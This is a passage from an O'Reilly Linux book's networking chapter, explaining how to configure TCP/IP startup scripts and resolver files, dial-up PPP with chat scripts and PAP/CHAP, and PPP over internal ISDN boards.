syslogd is the system logging daemon; it accumulates log messages from various applications and stores them into log files based on the configuration information in /etc/syslogd.conf.

routed is a server used to maintain dynamic routing information. When your system attempts to send packets to another network, it may require additional routing table entries in order to do so. routed takes care of manipulating the routing table without the need for user intervention.

Here is a sample rc.inet2 that starts up syslogd, inetd, and routed:

#! /bin/sh
# Sample /etc/rc.d/rc.inet2

# Start syslogd
if [ -f /usr/sbin/syslogd ]
then
      /usr/sbin/syslogd
fi

# Start inetd
if [ -f /usr/sbin/inetd ]
then
      /usr/sbin/inetd
fi

# Start routed
if [ -f /usr/sbin/routed ]
then
      /usr/sbin/routed -q
fi

Among the various additional servers you may want to start in rc.inet2 is named. named is a name server; it is responsible for translating (local) IP addresses to names, and vice versa. If you don't have a name server elsewhere on the network, or if you want to provide local machine names to other machines in your domain, it may be necessary to run named. named configuration is somewhat complex and requires planning; we refer interested readers to DNS and BIND.

15.1.3.3. /etc/hosts

/etc/hosts contains a list of IP addresses and the hostnames they correspond to. In general, /etc/hosts contains entries only for your local machine and perhaps other "important" machines (such as your name server or gateway). Your local name server provides address-to-name mappings for other machines on the network transparently.

For example, if your machine is eggplant.veggie.com with the IP address 128.17.75.20, your /etc/hosts would look like this:

127.0.0.1               localhost
128.17.75.20            eggplant.veggie.com eggplant
If you're using only loopback, the only line in /etc/hosts file should be for the address 127.0.0.1.

15.1.3.4. /etc/networks

The /etc/networks file lists the names and addresses of your own and other networks. It is used by the route command and allows you to specify a network by name instead of by address.

Every network you wish to add a route to using the route command (generally called from rc.inet1) should have an entry in /etc/networks for convenience; otherwise, you will have to specify the network's IP address instead of the name.

As an example:

default         0.0.0.0         # default route    - mandatory
loopnet         127.0.0.0       # loopback network - mandatory
veggie-net      128.17.75.0     # Modify for your own network address
Now, instead of using the command:
route add 128.17.75.20
we can use:
route add veggie-net

15.1.3.5. /etc/host.conf

The /etc/host.conf file specifies how your system resolves hostnames. It should contain the two lines:

order hosts,bind
multi on
These lines tell the resolver libraries to first check the /etc/hosts file and then ask the name server (if one is present) for any names it must look up. The multi entry allows you to have multiple IP addresses for a given machine name in /etc/hosts.

On systems that use the new glibc2 (like Red Hat from Version 5.0, SuSE from Version 6.0 and Debian from Version 2.0), /etc/nsswitch.conf is used instead of /etc/host.conf. In this case, this file should contain the lines hosts: files dns and networks: files dns.

15.1.3.6. /etc/resolv.conf

This file configures the name resolver, specifying the address of your name server (if any) and domains that you want to search by default if a specified hostname is not a fully specified hostname. For example, if this file contains the line:

search vpizza.com vpasta.com

then using the hostname blurb will try to resolve the names blurb.vpizza.com and blurb.vpasta.com (in this order). This is convenient, because it saves you typing in the full names of often-used domains. On the other hand, the more domains you specify here, the longer the DNS lookup will take.

For example, the machine eggplant.veggie.com with a name server at address 128.17.75.55 would have the following lines in /etc/resolv.conf:

domain      veggie.com
nameserver  128.17.75.55
You can specify more than one name server; each must have a nameserver line of its own in resolv.conf.

15.1.3.7. Setting your hostname

You should set your system hostname with the hostname command. This is usually executed from /etc/rc.d/rc.sysinit (/sbin/init.d/boot on SuSE systems); simply search your system rc files to determine where it is invoked. For example, if your (full) hostname is eggplant.veggie.com, edit the appropriate rc file to execute the command /bin/hostname eggplant.veggie.com. Note that the hostname executable may be found in a directory other than /bin on your system.

15.1.3.8. Trying out your network

Once you have the various networking configuration files modified for your system, you should be able to reboot (using a TCP/IP-enabled kernel) and attempt to use the network.

When first booting the system, you may wish to disable execution of rc.inet1 and rc.inet2 and run them by hand once the system is up. This allows you to catch any error messages, modify the scripts, and retry. Once you have things working, you can enable the scripts from /etc/inittab.

One good way of testing network connectivity is to simply telnet to another host. You should first try to connect to another host on your local network, and if this works, attempt to connect to hosts on other networks. The former will test your connection to the local subnet; the latter, your connection to the rest of the world through your gateway.

You may be able to connect to remote machines, via the gateway, whereas connecting to machines on the subnet fails. This is a sign that there is a problem with your subnetwork mask or the routing table entry for the local network.

When attempting to connect to other machines, you should first try to connect using only the IP address of the remote host. If this seems to work, but connecting via hostname does not, there may be a problem with your name server configuration (e.g., /etc/resolv.conf and /etc/host.conf ) or with your route to the name server.

The most common source of network trouble is an ill-configured routing table. You can use the command:

netstat -rn
to display the routing table; in the previous section, we described the format of the routing tables as displayed by this command. The netstat manual page provides additional insight as well. Using netstat without the -n option forces it to display host and network entries by name instead of address.

To debug your routing tables, you can either edit rc.inet1 and reboot, or use the route command by hand to add or delete entries. The manual page for route describes the full syntax of this command. Note that simply editing rc.inet1 and re-executing it will not clear out old entries in the routing table; you must either reboot or use route del to delete the entries.

If absolutely nothing seems to work, there may be a problem with your Ethernet device configuration. First, be sure that your Ethernet card was detected at the appropriate address and/or IRQ at boot time. The kernel boot messages will give you this information; if you are using syslogd, kernel boot-time messages are also saved in a file, such as /var/log/messages.

If detection of your Ethernet card is faulty, you may have to modify kernel parameters to fix it. The Linux Ethernet HOWTO includes much information on debugging Ethernet card configurations. In many cases, the fix is as simple as specifying the appropriate IRQ and port address at the LILO boot prompt. For example, booting via LILO with the command:

lilo: linux ether=9,0x300,0,1,eth0
will select IRQ 9, base address 0x300, and the external transceiver (the fourth value of 1) for the eth0 device. To use the internal transceiver (if your card supports both types), change the fourth value of the ether option to 0.

Also, don't overlook the possibility that your Ethernet card is damaged or incorrectly connected to your machine or the network. A bad Ethernet card or cable can cause no end of trouble, including intermittent network failures, system crashes, and so forth. When you're at the end of your rope, consider replacing the Ethernet card and/or cable to determine if this is the source of the problem.[59]

[59]One of the authors once spent three hours trying to determine why the kernel wouldn't recognize an Ethernet card at boot time. As it turned out, the 16-bit card was plugged into an 8-bit slot--mea culpa.

If your Ethernet card is detected, but the system is still having problems talking to the network, the device configuration with ifconfig may be to blame. Be sure you have specified the appropriate IP address, broadcast address, and subnet mask for your machine. Invoking ifconfig with no arguments displays information on your Ethernet device configuration.

Previous | Home | Next
14.2. Programming Tools | Book Index | 15.2. Dial-up PPP
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Dial-up PPP (Running Linux)

 Running LinuxSearch this book
Previous Next

15.2. Dial-up PPP

In order to communicate over TCP/IP using a modem (such as through a dial-up account to an Internet service provider) or through some other serial device (such as a "null modem" serial cable between two machines), Linux provides the Point-to-Point Protocol software suite, commonly known as PPP. PPP is a protocol that takes packets sent over a network (such as TCP/IP) and converts them to a format that can be easily sent over a modem or serial wire. Chances are, if you have an Internet account with an ISP, the ISP's server uses PPP to communicate with dialup accounts. By configuring PPP under Linux, you can directly connect to your ISP account in this way.

SLIP (Serial Line Internet Protocol) is an earlier protocol that has the same basic features as PPP. However, it lacks certain important qualities, such as the ability to negotiate IP addresses and packet sizes. These days SLIP has more or less been supplanted entirely by PPP; however, some older ISPs may still use SLIP rather than PPP. If this is the case, we refer you to other sources of information, such as the Linux Network Administrator's Guide.

In this section, we will cover configuration of a PPP client--that is, a system that will connect to an ISP (or other PPP server) in order to communicate with the Internet. Setting up a Linux machine as a PPP server itself is also possible but is somewhat more involved; this is covered in the Linux Network Administrator's Guide.

15.2.1. Basic PPP Configuration for Modems

In the United States and many parts of the world, people use traditional dial-up modems to send digital data over telephone lines. So we'll cover configuration for modems first. Then we'll show how to configure PPP for the faster and more convenient type of line called Integrated Services Digital Network (ISDN), which is especially popular in Europe and available but not very well marketed in most of the United States.

15.2.1.1. Requirements

Most Linux systems come preinstalled with all of the software needed to run PPP. Essentially, you need a kernel compiled with PPP support and the pppd daemon and related tools, including the chat program.

Most Linux distributions include PPP support in the preconfigured kernel or as a kernel module that is loaded on demand. However, it may necessary to compile kernel PPP support yourself; this is a simple matter of enabling the PPP options during the kernel configuration process and rebuilding the kernel. PPP is usually compiled as a separate module, so it is sufficient to recompile only the kernel modules if this is the case. See "Section 7.4.2, "Building the Kernel"" in Chapter 7, "Upgrading Software and the Kernel" for information on compiling the kernel and modules.

The pppd and chat utilities are user-level applications that control the use of PPP on your system; they are included with nearly every Linux distribution. On Red Hat systems, these utilities are installed in /usr/sbin and are found in the ppp RPM package.

Also required for PPP usage is a modem that is compatible with both Linux and the type of modems used by your ISP's server. Most 14.4, 28.8, 56K and other standard modem types fit into this category; there are very few modem types not supported by Linux, and it would be unusual for an ISP to use anything so esoteric as to require you to buy something else.

One type of modem to watch out for is the so-called "Winmodem." This was originally a product sold by US Robotics but has now been produced in several varieties by other vendors. Winmodems use the host CPU to convert digital signals into analog signals so they can be sent over the phone line, unlike regular modems which have a special chip to perform this function. The problem with Winmodems is that, as of this writing, the programming details for these devices are proprietary, meaning that there are no Linux drivers for this class of devices. (Besides, some people scoff at the idea of wasting precious CPU cycles to generate modem signals, a job best left to specialized hardware. One perceived advantage of these so-called "software modems," on the other hand, is that upgrading their functionality is simply a matter of upgrading the operating system driver which controls them, rather than buying new hardware.)

15.2.1.2. Serial device names

Under Windows 95/98 and MS-DOS, modems and other serial devices are named COM1 (for the first serial device), COM2 (for the second), and so forth, up to COM4. (Most systems support up to four serial devices, although multiport cards are available that can increase this number.) Under Linux, these same devices are referred to as /dev/ttyS0, /dev/ttyS1, on up to /dev/ttyS3.[60] On most systems, at installation time a symbolic link called /dev/modem will be created. This link points to the serial device on which the modem can be found, as shown in the following listing:

% ls -l /dev/modem
lrwxrwxrwx   1 root     root      10 May  4 12:41 /dev/modem -> /dev/ttyS0
If this link is incorrect for your system (say, because you know that your modem is not on /dev/ttyS0 but on /dev/ttyS2), you can easily fix it as root by entering:
# ln -sf /dev/ttyS2 /dev/modem

[60]Older versions of Linux also used special "callout" devices, called /dev/cua0 through /dev/cua3. These are obsolete as of Linux kernel Version 2.2.

15.2.1.3. Setting up PPP

There are several steps involved in PPP configuration. The first is to write a so-called "chat script," which performs the "handshaking" necessary to set up a PPP connection between your machine and the ISP. During this handshaking phase, various pieces of information might be exchanged, such as your ISP username and password. The second step is to write a script that fires up the pppd daemon; running this script causes the modem to dial the ISP and start up PPP. The final step is to configure your system's /etc/resolv.conf file so it knows where to find a domain name server. We'll go through each of these steps in turn.

Before you start, you need to know the following pieces of information:

  • The ISP dialin account phone number

  • Your ISP username and password

  • The IP address of the ISP's domain name server

Your ISP should have told you this information when you established the account.

In addition, you might need to know the following:

  • The IP address of the ISP's server

  • The IP address of your system (if not dynamically assigned by the ISP)

  • The subnet mask you should use

These last three items can usually be determined automatically during the PPP connection setup; however, occasionally this negotiation does not work properly. It can't hurt to have this information in case you need it.

15.2.1.3.1. Writing a chat script

chat is a program that can perform simple handshaking between a PPP client and server during connection setup, such as exchange usernames and passwords. chat is also responsible for causing your modem to dial the ISP's phone number and other simple tasks.

chat itself is automatically invoked by pppd when started (this is discussed later). All you need to do is write a simple shell script that invokes chat to handle the negotiation. A simple chat script is shown in the following example. Edit the file /etc/ppp/my-chat-script (as root) and place in it the following lines:

#!/bin/sh
# my-chat-script: a program for dialing up your ISP
exec chat -v		\
     '' ATZ		\
     OK ATDT555-1212	\
     CONNECT ''		\
     ogin: mdw		\
     assword: my-password

Be sure that the file my-chat-script is executable; the command chmod 755 /etc/ppp/my-chat-script will accomplish this.

Note that each line ending in a backslash should not have any characters after the backslash; the backslash forces line-wrapping in the shell script.

The third line of this script runs chat itself with the options on the following lines. Each line contains two whitespace-delimited fields: an "expect" string and a "send" string. The idea is that the chat script will respond with the send string when it receives the expect string from the modem connection. For example, the last line of the script informs chat to respond with my-password when the prompt assword [61] is given by the ISP's server.

[61]This is not meant as an expletive. Rather, leaving off the first letter of the prompt admits the possibility of either Password: or password: to be used as the prompt!

The first line of the handshaking script instructs chat to send ATZ to the modem, which should cause the modem to reset itself. (Specifying an expect string as '' means that nothing is expected before ATZ is sent.) The second line waits for the modem to respond with OK, after which the number is dialed using the string ATDT555-1212. (If you use pulse dialing, rather than tone dialing, change this to ATDP555-1212. The phone number, of course, should be that of the remote system's modem line.)

When the modem responds with CONNECT, a newline is sent (indicated by '' as the send string). After this, chat waits for the prompt ogin: before sending the username and assword: before sending the password.

The various send strings starting with AT in the previous example are simply Hayes-modem-standard modem control strings. The manual that came with your modem should explain their usage; this is not specific to Linux or any other operating system. As one example, using a comma in a phone number indicates that the modem should pause before sending the following digits; one might use ATDT9,,,555-1212 if a special digit (9 in this case) must be dialed to reach an outside line.

Note that this is a very simple chat script that doesn't deal with timeouts, errors, or any other extraordinary cases that might arise while you're attempting to dial into the ISP. See the chat manual pages for information on how to spruce up your script to deal with these cases. Also, note that you need to know in advance what prompts the ISP's server will use (we assumed login and password). There are several ways of finding out this information; possibly, the ISP has told you this information in advance, or supplied a handshaking script for another system such as Windows 95 (which uses a mechanism very similar to chat). Otherwise, you can dial into the ISP server "by hand," using a simple terminal emulator, such as minicom or seyon. The man pages for those commands can help you to do this.

15.2.1.3.2. Starting up pppd

Now, we're ready to configure the pppd daemon to initiate the PPP connection using the chat script we just wrote. Generally, this is done by writing another shell script that invokes pppd with a set of options.

The format of the pppd command is:

pppd device-name baudrate options

Table 15-1 shows the options supported by pppd. You almost certainly won't need all of them.

Table 15-1. Common pppd Options

Option | Effect
lock | Locks the serial device to restrict access to pppd.
crtscts | Uses hardware flow control.
noipdefault | Doesn't try to determine the local IP address from the hostname. The IP is assigned by the remote system.
user username | Specifies the hostname or username for PAP or CHAP identification.
netmask mask | Specifies the netmask for the connection.
defaultroute | Adds a default route to the local system's routing table, using the remote IP address as the gateway.
connect command | Uses the given command to initiate the connection. pppd assumes this script is in /etc/ppp. If not, specify the full path of the script.
local_IP_address: remote_IP_address | Specifies the local and/or remote IP addresses. Either or both of these could be 0.0.0.0 to indicate that the address should be assigned by the remote system.
debug | Logs connection information through the syslog daemon.

It is common to invoke the pppd command from a shell script. Edit the file /etc/ppp/ppp-on and add the following lines:

#!/bin/sh
# the ppp-on script

exec /usr/sbin/pppd /dev/modem 38400 lock crtscts noipdefault \
     defaultroute 0.0.0.0:0.0.0.0 connect my-chat-script

As with the my-chat-script file in the earlier example, be sure this is executable and watch out for extra characters after a backslash at the end of a line.

With this script in place, it should be possible to connect to the ISP using the command:

% /etc/ppp/ppp-on
You need not be root to execute this command. Upon running this script, you should hear your modem dialing, and if all goes well, after a minute PPP should be happily connected. The ifconfig command should report an entry for ppp0 if PPP is up and running:

# ifconfig
lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Bcast:127.255.255.255  Mask:255.0.0.0
          UP BROADCAST LOOPBACK RUNNING  MTU:3584  Metric:1

          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0

ppp0      Link encap:Point-to-Point Protocol
          inet addr:207.25.97.248  P-t-P:207.25.97.154  Mask:255.255.255.0
          UP POINTOPOINT RUNNING  MTU:1500  Metric:1
          RX packets:1862 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1288 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0
          Memory:73038-73c04

Here, we can see that PPP is up, the local IP address is 207.25.97.248, and the remote server IP address is 207.25.97.154.

If you wish to be notified when the PPP connection is established (the ppp-on script returns immediately), add the following line to /etc/ppp/ip-up :

/usr/bin/wall "PPP is up!"
/etc/ppp/ip-up is executed when PPP establishes an IP connection, so you can use this script to trigger the wall command when the connection is complete.

Another simple shell script can be used to kill the PPP session. Edit the file /etc/ppp/ppp-off as follows:

#!/bin/sh
# A simple ppp-off script

kill `cat /var/run/ppp0.pid`

Running /etc/ppp/ppp-off now kills the PPP daemon and shuts down the modem connection.

15.2.1.3.3. Configuring DNS

By itself, use of pppd along with chat only establishes a PPP connection and assigns you an IP address; in order to use domain names, you need to configure the system to be aware of the domain name server provided by your ISP. This is done by editing /etc/resolv.conf. The man page for resolver describes this file in detail, however, for most purposes it suffices to simply include lines of two forms: one that specifies the list of domains to search whenever a domain name is used and another that specifies the address of a DNS server.

A sample /etc/resolv.conf file might look like:

# Sample /etc/resolv.conf
search cs.nowhere.edu nowhere.edu
nameserver 207.25.97.8
nameserver 204.148.41.1
The first line indicates that every time a domain name is used (such as orange or papaya), it should be searched for in the list of specified domains. In this case, resolver software would first expand a name like papaya to papaya.cs.nowhere.edu and try to find a system by that name, then expand it to papaya.nowhere.edu if necessary and try again.

The lines beginning with nameserver specify the IP address of domain name servers (which should be provided by your ISP) that your system contacts to resolve domain names. If you specify more than one nameserver line, the given DNS servers will be contacted in order, until one returns a match; in this way, one DNS server is treated as a primary and the others as backups.

15.2.1.3.4. Troubleshooting PPP Configuration

The PPP configuration described here is meant to be very simple and will certainly not cover all cases; the best sources for additional information are the man pages for pppd and chat as well as the Linux PPP HOWTO and related documents.

Happily, both chat and pppd log messages on their progress, as well as any errors, using the standard syslog daemon facility. By editing /etc/syslog.conf, you can cause these messages to be captured to a file. To do this, add the following lines:

# Save messages from chat
local2.*                                           /var/log/chat-log

# Save messages from pppd
daemon.*                                           /var/log/pppd-log
This will cause messages from chat to be logged to /var/log/chat-log and messages from pppd to be logged to /var/log/pppd-log.

Note that these log messages will contain private information, such as ISP usernames and passwords! It is important that you leave this logging enabled only while you are debugging your PPP configuration; after things are working, remove these two log files and remove the lines from /etc/syslog.conf.

chat will also log certain errors to /etc/ppp/connect-errors, which is not controlled through the syslog daemon. (It should be safe to leave this log in place, however.)

15.2.1.3.5. PAP and CHAP

Some ISPs may require you to use a special authentication protocol, such as PAP (Password Authentication Protocol) or CHAP (Challenge Handshake Authentication Protocol). The protocols rely on some form of "shared secret" known to both the client and the server; in most cases, this is just your ISP account password.

If PAP or CHAP is required by your ISP, they are configured by adding information to the files /etc/ppp/pap-secrets and /etc/ppp/chap-secrets, respectively. Each file has four fields separated by spaces or tabs. Here is an example of a pap-secrets file:

# Secrets for authentication using PAP
# client      server	     secret		IP or Domain
mdw	      *		     my-password

The first field is your system's name as expected by the remote system, usually your ISP username. The second field specifies the ISP's server name; an asterisk allows this entry to match all ISP servers to which you might connect. The third field specifies the shared secret provided by your ISP; as stated earlier, this is usually your ISP password. The fourth field is primarily used by PPP servers to limit the IP addresses to which users dialing in have access. These addresses can be specified as either IP addresses or domain names. For most PPP client configurations, however, this field is not required.

The chap-secrets file has the same four fields, but you need to include an entry other than * for the service provider's system; this is a secret the ISP shares with you when you establish the account.

If PAP or CHAP is being used, it's not necessary for the chat script to include handshaking information after CONNECT is received; pppd will take care of the rest. Therefore, you can edit /etc/ppp/my-chat-script to contain only the lines:

#!/bin/sh
# my-chat-script: a program for dialing up your ISP
exec chat -v            \
     '' ATZ             \
     OK ATDT555-1212    \
     CONNECT ''

You will also need to add the user option to the pppd command line in /etc/ppp/ppp-on, as so:

#!/bin/sh
# the ppp-on script

exec /usr/sbin/pppd /dev/modem 38400 lock crtscts noipdefault \
     user mdw defaultroute 0.0.0.0:0.0.0.0 connect my-chat-script
Previous | Home | Next
15. TCP/IP and PPP | Book Index | 15.3. PPP over ISDN
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


PPP over ISDN (Running Linux)

 Running LinuxSearch this book
Previous Next

15.3. PPP over ISDN

ISDN has offered convenient, high-speed data communications--at a price--for many years; it is particularly popular in Europe where rates and marketing have been more favorable to its use than in the United States. ISDN, which integrates data and regular voice transmission over a single line, offers both a faster connection setup and much better throughput than traditional modems.

ISDN lines can transfer 64 kbits/second. And unlike analog lines, they can achieve this speed all the time, because their transmission does not depend on the vagaries of analog transmission with interference by various kinds of noise. A newer protocol called ADSL (Asymmetric Digital Subscriber Line) is upping the ante for fast data access over phone lines, but ISDN still has a bigger market right now.

In this section, we describe how to configure dial-up access to your Internet provider over an ISDN line. We'll cover only the most common style of connection, synchronous PPP, not the special mode called Raw IP over ISDN. Furthermore, this section discusses just internal ISDN boards, which require a very different kind of setup from the dial-up access covered in the previous section. To set up external ISDN devices, or the so-called ISDN modems (a term that is an oxymoron, because there is no modulation and demodulation), you can use commands similar to those in the previous section, because these devices present themselves to the computer and the operating system like a normal modem that offers some additional commands, faster connection setup, and higher throughput.

In a way, setting up ISDN connections is much easier than setting up analog connections, because many of the problems (bad lines, long connection setup times, and so on) simply cannot occur with digital lines. Once you dial the number, the connection is set up within milliseconds. But this can lead to problems. Since the connections are set up and shut down so fast, a misconfigured system that dials out again and again can cost you a fortune. This is even more so because with internal ISDN cards, you hear no clicking and whistling like with modems, and there are no lights that inform you that a connection has been made. You can check the status of your ISDN line with some simple programs, though.

Setting up dial-up PPP over ISDN is done in two steps:

  1. Configure your ISDN hardware.

  2. Configure and start the PPP daemon and change the routing table to use your ISDN line.

We will cover those steps in the next sections.

15.3.1. Configuring Your ISDN Hardware

The first step involves making your ISDN board accessible to the kernel. Like with any other hardware board, you need a device driver that must be configured with the correct parameters for your board.

Linux supports a large number of ISDN hardware boards. We cannot cover every single board here, but the procedure is more or less the same for each one. Reading the documentation for your specific card in the directory Documentation/isdn in the Linux kernel sources will help you a lot if your board is not covered here.

We will concentrate here on boards that use the so-called HiSax driver. This device driver works with most cards that use the Siemens HSCX chipset. That includes, for instance, the USR Sportster internal TA and the well-known Teles, ELSA, and Fritz boards. Other boards are similarly configured.

The first thing you need to do is configure the kernel so that it includes ISDN support. It is very advisable to compile everything ISDN-related as modules, especially while you are experimenting with setting it up. You will need the following modules:

  • ISDN support.

  • Support for synchronous PPP.

  • One device driver module for your hardware. If you pick the HiSax driver, you will also have to specify which specific brand of ISDN card you have and which ISDN protocol you want to use. The latter is almost certainly EURO/DSS1, unless you live in Germany and have had your ISDN for a long time in which case it might be 1TR6. When in doubt, ask your phone company.

Compile and install the modules as described in Chapter 7, "Upgrading Software and the Kernel". Now you are ready to configure your ISDN hardware. Some distributions like SuSE make setting up ISDN lines very easy and comfortable. We cover the hard way here in case your distribution is not so user friendly, the automatic configuration does not work, or you simply want to know what is going on behind the scenes.

Now you need to load the device driver module using modprobe. This will automatically load the other modules as well. All the device driver modules accept a number of module parameters; the hisax modules accepts, among others, the following:

id=boardid

Sets an identifier for the ISDN board. You can pick any name you like here, but you cannot have the same identifier for more than one board in your system.

type=boardtype

Specifies the exact board brand and type. For example, a value of 16 for boardtype selects the support for the USR Sportster internal TA. See Documentation/isdn/README.hisax in the kernel sources for the full list of board types.

protocol=protocoltype

Selects an ISDN subprotocol. Valid values for protocoltype are 1 for the old German 1TR6 protocol, 2 for the common EDSS1 (so-called Euro ISDN) and 3 for leased lines.

irq=irqno

Specifies the interrupt line to use. Not all boards need this.

io=addr

Specifies the I/O address to use. Not all boards need this. Some boards need two I/O addresses. In this case, the parameters to use are io0 and io1.

For example, the following command loads the HiSax driver for use with a Teles 16.3 board, Euro ISDN, IO address 0x280, and IRQ line 10 (a very common case):

tigger # modprobe hisax type=3 protocol=2 io=0x280 irq=10

Please see Documentation/isdn/README.HiSax or the equivalent file for your hardware for more information.

This module is not much of a talker; if there is no output from the modprobe command, it is likely that everything went well. You might also want to check your system log at /var/log/messages. You should see a few lines starting with HiSax: (or the name of the driver you are using), ending with:

HiSax: module installed

If the module did not load, you will most likely find the answer also in /var/log/messages. The most common problem is that the IRQ or I/O address was wrong or that you selected the wrong card type. If all else fails, and you have Windows installed on the same machine, boot up Windows and check what it reports for the IRQ and I/O address lines.

You should do one more check before you jump to the next section, and this check involves calling yourself. This can work because, with ISDN, you always have two phone lines at your disposition. Thus one line will be used for the outgoing "phone call" and the other line will be used for the incoming one.

In order to have the ISDN subsystem report what is going on with your phone lines, you will need to configure it to be more verbose than it is by default. You do this by means of three utility programs that are all part of the isdn4k-utils package that you can find at your friendly Linux FTP server around the corner.

The isdn4k-utils contain, among other things, the three utilities hisaxctrl for configuring the device driver, isdnctrl for configuring the higher levels of the ISDN subsystem, and isdnlog, a very useful tool that logs everything happening on your ISDN lines. While you can use hisactrl and isdnctrl without any configuration, you will need to provide a small configuration file for isdnlog. For now, we will content ourselves with a quick solution, but once your ISDN connection is up and running, you will want to configure isdnlog to see where your money is going. So for now, copy one of the sample configuration files contained in the isdnlog package to /etc/isdn/isdn.conf. You will at least need to edit the following lines:

COUNTRYCODE=

Add your phone country code here, for example, 1 for the United States and Canada, 44 for the United Kingdom, 46 for Sweden, and so on.

AREAPREFIX=

If the area codes in your country are prefixed by a fixed digit, put this in here. The prefix is 0 for most European countries, 9 for Finland, and nothing for the United States, Denmark, and Norway.

AREACODE=

Put your area code in here. If you have specified an AREAPREFIX in the last step, don't repeat that here. For example, Stockholm, Sweden, has the area code 08. You put 0 into AREAPREFIX and 8 into AREACODE.

Once you have set this up, execute the following commands to make your ISDN system more verbose:

tigger # /sbin/hisaxctrl boardid 1 4
tigger # /sbin/isdnctrl verbose 3
tigger # /sbin/lsdnlog /dev/isdnctrl0 &

If you need to use a different driver from HiSax, you might need to use a different command. For example, for the PCBit driver, the command pcbitctl is available in the isdn4k-utils package.

Now you can go ahead and phone yourself. You should try all your MSNs (multiple subscriber numbers, which are your ISDN phone numbers) to see that the board can detect all of them. During or after each call, check /var/log/messages. You should see lines like the following:

Mar 16 18:34:22 tigger kernel: isdn_net: call from 4107123455,1,0 -> 123456
Mar 16 18:34:33 tigger kernel: isdn_net: Service-Indicator not 7, ignored

This shows that the kernel has detected voice call (the service indicator is 0) from the phone number 123455 in the area with the area code (0)4107 to the MSN 123456.

Note how the number called is specified, because you will need this information later. The number is sent with the area code in some phone networks, but without the area code in others. Anyway, congratulations if you have come this far. Your ISDN hardware is now correctly configured.

15.3.2. Setting Up Synchronous PPP

Setting up the PPP daemon again involves several substeps. On Linux, the ISDN board is treated like a network interface that you have to configure with special commands. In addition, you need to specify the username and password that your ISP has assigned you. When everything is configured, you start up the ipppd daemon, which lurks in the background until a connection request is made.

First, let's configure the "network interface." This involves a number of commands that most system administrators simply put into a script that they store in a file like /sbin/pppon. Here is a sample file that you can modify to your needs:

/sbin/isdnctrl addif ippp0
/sbin/isdnctrl addphone ippp0 out 0123456789
/sbin/isdnctrl dialmax ippp0 2
/sbin/isdnctrl eaz ippp0 123456
/sbin/isdnctrl huptimeout ippp0 100
/sbin/isdnctrl l2_prot ippp0 hdlc
/sbin/isdnctrl l3_prot ippp0 trans
/sbin/isdnctrl encap ippp0 syncppp
/sbin/ifconfig ippp0 1.1.1.1 pointopoint 123.45.67.89 metric 1

Let's go through these commands one by one:

isdnctrl addif ippp0

Tells the kernel that a new ISDN interface with the name ippp0 will be used. Always use names starting with ippp.

isdnctrl addphone ippp0 out 0123456789

Tells the ISDN interface which phone number to use. This is the phone number that you use to dial up your provider. If you have used analog dial-up so far, check with your provider, because the phone number for ISDN access could be different.

isdnctrl dialmax ippp0 2

Specifies how many times the kernel should dial if the connection could not be established before giving up.

isdnctrl eaz ippp0 123456

Specifies one of your own MSNs here. This is very important--without this, not much will work. In case your provider verifies your access via your phone number, make sure that you specify the MSN here that you have registered with your provider.

isdnctrl huptimeout ippp0 100

Specifies the number of seconds that the line can be idle before the kernel closes the connection (specified by last number in this command.) This is optional, but can save you a lot of money if you do not have a flat phone rate. Thus, if you forget to shut down the connection yourself, the kernel will do that for you.

isdnctrl l2_prot ippp0 hdlc

Specifies the layer 2 protocol to use. Possible values here are hdlc, x75i, x75ui, and x75bui. Most providers use hdlc. When in doubt, ask your provider.

isdnctrl l3_prot ippp0 trans

Specifies the layer 3 protocol to use (the l in the option is the letter L). Currently, only trans is available.

isdnctrl encap ippp0 syncppp

Specifies the encapsulation to use. A number of values are possible here, but if you want to use synchronous PPP (or your provider demands that), you have to specify syncppp here. Another not-so-uncommon value is rawip. But since this provides only very weak authentication facilities, few providers still use it, even though it gives slightly better throughput because it has less overhead.

ifconfig ippp0 1.1.1.1 pointopoint 123.45.67.89 metric 1

Creates the new network interface. If your IP address is not assigned dynamically (as is the case with most dial-up connections), you need to specify your IP address instead of the 1.1.1.1 here. Also, you need to change the 123.45.67.89 to the IP address of your provider's dial-up server.

Phew! But we are not finished yet. Next, you need to configure the ipppd daemon itself. This is done in the file /etc/ppp/ioptions. You can also have a configuration file specific to each ipppd daemon, but that is necessary only if you want to be able to use different ISDN connections, that is, if you have multiple dial-up accounts.

The following is an ioptions file that is generic enough to work with most providers. It does not give maximum throughput but is quite stable. If you want to optimize it, ask your provider about the possible settings and read the manual page for ipppd :

debug
/dev/ippp0
user yourusername
name yourusername
mru 1500
mtu 1500
ipcp-accept-local
ipcp-accept-remote
noipdefault
-vj -vjccomp -ac -pc -bsdcomp
defaultroute

You have to change only two things here: change yourusername in the third and fourth lines to the username that your provider has assigned you for connecting to his system. We won't go through all the options here; see the manual page when in doubt.

ISDN access requires the same security as an analog modem. See the section "PAP and CHAP" earlier in this chapter for directions on setting up your pap-secrets or chap-secrets file as required by your service provider.

Now we have got our things together and can start having fun! First run the ipppd daemon:

tigger # /sbin/ipppd pidfile /var/run/ipppd.ippp0.pid file /etc/ppp/ioptions &

The ipppd daemon will now wait for connection requests. Since we have not configured it yet to automatically make a connection, we have to manually trigger the connection. This is done with the following command:

tigger # isdnctrl dial ippp0

You should now check /var/log/messages. There should be lots of messages that start with ipppd. The last of those messages should be contain the words local IP address and remote IP address together with the IP addresses. Once you find those messages, you are done. Because we have used the defaultroute option previously, the kernel has set up the default route to use the ISDN connection, and you should now be able to access the wide, wide world of the Internet. Start by pinging your provider's IP address. Once you are done and want to shut down the connection, enter:

tigger # isdnctrl hangup ippp0

15.3.3. And If It Does Not Work?

If you have no connection even though your hardware was successfully recognized and you have set up everything as described here, /var/log/messages is again your friend. It is very likely that you will find the cause of the error there, even though it might be buried a bit.

The most common error is specifying the password or the username incorrectly. You know that you have a problem with the authentification if you see a line like:

PAP authentification failed

or:

CHAP authentification failed

in the log file. Check your chap-secrects or pap-secrets very carefully. Your provider might also be able to see from her log files where exactly the authentification went wrong.

Of course, it could also be the case that your provider does not support synchronous PPP as described here, even though most providers do nowadays. If this is the case, ask your provider for exact settings.

